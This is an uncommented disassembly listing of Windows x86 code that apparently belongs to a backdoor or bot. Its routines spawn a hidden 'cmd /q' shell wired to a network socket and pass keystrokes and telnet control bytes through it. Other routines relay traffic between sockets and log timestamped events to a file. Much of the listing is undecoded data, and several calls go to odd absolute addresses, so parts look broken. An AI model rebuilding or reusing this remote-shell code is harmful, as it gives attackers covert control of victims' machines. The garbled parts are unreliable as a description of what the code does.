		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2650CD2h
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEE8[eax], ecx
		nop
		call	near ptr 265098Ch
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		call	near ptr 2670E77h
		nop
		push	eax
		push	offset unk_4344A4
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344E4
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFBC
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		call	near ptr 2770505h
		nop
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFF4
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h
		dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	0CC15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8EC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEE4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	25F2DAE8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 225F1EFh,	90EDEB90h
		dd 25FB22E8h, 858D5002h, 0FFFFFD2Ch, 43455468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 434520h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0ECB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAFBCh, 187FC085h
		dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22BEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43465868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 2BEAE7E8h, 106A9002h, 53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh
		dd 43461868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFF415FFh
		dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 2BEA4FE8h, 458D9002h, 50106AE8h, 4C15FF57h, 83004CAFh
		dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345D4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h,	4CB03C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h
		dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 0E982E890h, 36FF022Bh, 0B03C15FFh, 75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE90
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE90
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 50E89000h
		dd 390225EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2BE7CBE8h, 458D9002h
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 8415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	8415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFD015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0EC89E890h, 8DFF0225h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 25EC56E8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh
		dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF7C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 4346C4h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 0A468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 9868096Ah, 56004346h, 0B00815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB03C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h
		dd 3E8h, 0E935E890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 277068Eh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-114h]
		push	offset asc_434E84 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E54
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AF2815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 0BB004Ch, 6A000002h,	0E4E89008h, 0FF0225E7h,	4CAF2815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF4015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434EB4h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46EC0845h, 106A0043h, 0AE7815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF7015FFh, 0C4F6004Ch, 6A7B7480h, 7815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 7815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAF2815h, 0B84D8D00h
		dd 50513C6Ah, 0AF4015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E9C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAF28h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF4015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E8868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434E1C08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2BE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AFA415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFE415h, 36A5600h,	4589026Ah
		dd 2415FFE8h, 8B004CB0h, 0FFFF83F8h, 75FC7D89h,	3815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 2468FFFFh, 50004358h,	9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 2BDF57E8h, 458B9002h, 69106AD0h, 234C0h
		dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 4357F868h
